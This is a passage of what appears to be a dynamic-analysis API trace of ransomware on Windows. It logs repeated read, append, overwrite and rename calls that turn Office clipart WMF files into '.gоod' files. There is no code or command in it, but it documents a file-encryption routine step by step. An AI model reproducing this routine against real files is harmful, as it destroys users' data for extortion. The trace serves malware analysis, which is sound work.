lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x590b410f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x640)) returned 1 [0155.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0155.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.gоod")) returned 1 [0155.748] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", lpFilePart=0x0) returned 0x44 [0155.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0155.749] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x339a9d8 | out: lpFileInformation=0x339a9d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f20)) returned 1 [0155.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0155.749] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", lpFilePart=0x0) returned 0x44 [0155.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0155.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.749] GetFileType (hFile=0x7dc) returned 0x1 [0155.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0155.749] GetFileType (hFile=0x7dc) returned 0x1 [0155.749] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0155.749] ReadFile (in: hFile=0x7dc, lpBuffer=0x339adf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x339adf0*, lpNumberOfBytesRead=0x1faedd28*=0xf20, lpOverlapped=0x0) returned 1 [0155.750] CloseHandle (hObject=0x7dc) returned 1 [0155.751] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", lpFilePart=0x0) returned 0x44 [0155.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0155.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.751] GetFileType (hFile=0x7dc) returned 0x1 [0155.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0155.751] GetFileType (hFile=0x7dc) returned 0x1 [0155.751] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1f20 [0155.751] WriteFile (in: hFile=0x7dc, lpBuffer=0x339c088*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x339c088*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0155.751] CloseHandle (hObject=0x7dc) returned 1 [0155.751] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", lpFilePart=0x0) returned 0x44 [0155.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0155.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.751] GetFileType (hFile=0x7dc) returned 0x1 [0155.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0155.752] GetFileType (hFile=0x7dc) returned 0x1 [0155.752] ReadFile (in: hFile=0x7dc, lpBuffer=0x339e348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x339e348*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0155.782] CloseHandle (hObject=0x7dc) returned 1 [0155.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", lpFilePart=0x0) returned 0x44 [0155.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0155.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.783] GetFileType (hFile=0x7dc) returned 0x1 [0155.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0155.783] GetFileType (hFile=0x7dc) returned 0x1 [0155.783] WriteFile (in: hFile=0x7dc, lpBuffer=0x339d0a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x339d0a0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0155.783] CloseHandle (hObject=0x7dc) returned 1 [0155.783] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF", lpFilePart=0x0) returned 0x44 [0155.783] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0155.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0155.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x591005c5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f30)) returned 1 [0155.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0155.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.gоod")) returned 1 [0155.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", lpFilePart=0x0) returned 0x44 [0155.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0155.784] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x341c950 | out: lpFileInformation=0x341c950*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x728)) returned 1 [0155.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0155.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", lpFilePart=0x0) returned 0x44 [0155.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0155.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.784] GetFileType (hFile=0x7dc) returned 0x1 [0155.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0155.785] GetFileType (hFile=0x7dc) returned 0x1 [0155.785] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x728 [0155.785] ReadFile (in: hFile=0x7dc, lpBuffer=0x341d320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x341d320*, lpNumberOfBytesRead=0x1faedc88*=0x728, lpOverlapped=0x0) returned 1 [0155.786] CloseHandle (hObject=0x7dc) returned 1 [0155.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", lpFilePart=0x0) returned 0x44 [0155.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0155.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0155.813] GetFileType (hFile=0x7dc) returned 0x1 [0155.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0155.813] GetFileType (hFile=0x7dc) returned 0x1 [0155.813] WriteFile (in: hFile=0x7dc, lpBuffer=0x3497b68*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3497b68*, lpNumberOfBytesWritten=0x1faedb98*=0x730, lpOverlapped=0x0) returned 1 [0155.813] CloseHandle (hObject=0x7dc) returned 1 [0155.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF", lpFilePart=0x0) returned 0x44 [0155.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0155.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0155.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5914caec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x730)) returned 1 [0155.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0155.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.gоod")) returned 1 [0155.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", lpFilePart=0x0) returned 0x44 [0155.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0155.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x339ecf0 | out: lpFileInformation=0x339ecf0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66dc)) returned 1 [0155.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0155.966] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", lpFilePart=0x0) returned 0x44 [0155.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0155.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0155.966] GetFileType (hFile=0x644) returned 0x1 [0155.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0155.966] GetFileType (hFile=0x644) returned 0x1 [0155.966] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0155.966] ReadFile (in: hFile=0x644, lpBuffer=0x33a2e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x33a2e28*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0155.997] CloseHandle (hObject=0x644) returned 1 [0155.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", lpFilePart=0x0) returned 0x44 [0155.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0155.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0155.998] GetFileType (hFile=0x644) returned 0x1 [0155.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0155.998] GetFileType (hFile=0x644) returned 0x1 [0155.998] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x66dc [0155.998] WriteFile (in: hFile=0x644, lpBuffer=0x34209d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x34209d8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0156.000] CloseHandle (hObject=0x644) returned 1 [0156.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", lpFilePart=0x0) returned 0x44 [0156.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0156.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0156.000] GetFileType (hFile=0x644) returned 0x1 [0156.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0156.000] GetFileType (hFile=0x644) returned 0x1 [0156.000] ReadFile (in: hFile=0x644, lpBuffer=0x3423f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3423f70*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0156.027] CloseHandle (hObject=0x644) returned 1 [0156.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", lpFilePart=0x0) returned 0x44 [0156.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0156.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0156.027] GetFileType (hFile=0x644) returned 0x1 [0156.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0156.027] GetFileType (hFile=0x644) returned 0x1 [0156.027] WriteFile (in: hFile=0x644, lpBuffer=0x3422cc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3422cc8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0156.027] CloseHandle (hObject=0x644) returned 1 [0156.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF", lpFilePart=0x0) returned 0x44 [0156.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0156.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0156.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59362b1d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x66ec)) returned 1 [0156.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0156.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.gоod")) returned 1 [0156.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", lpFilePart=0x0) returned 0x44 [0156.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0156.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x34a0360 | out: lpFileInformation=0x34a0360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2)) returned 1 [0156.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0156.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", lpFilePart=0x0) returned 0x44 [0156.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0156.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0156.029] GetFileType (hFile=0x644) returned 0x1 [0156.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0156.029] GetFileType (hFile=0x644) returned 0x1 [0156.029] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0156.029] ReadFile (in: hFile=0x644, lpBuffer=0x34a0778, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x34a0778*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0156.117] CloseHandle (hObject=0x644) returned 1 [0157.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, 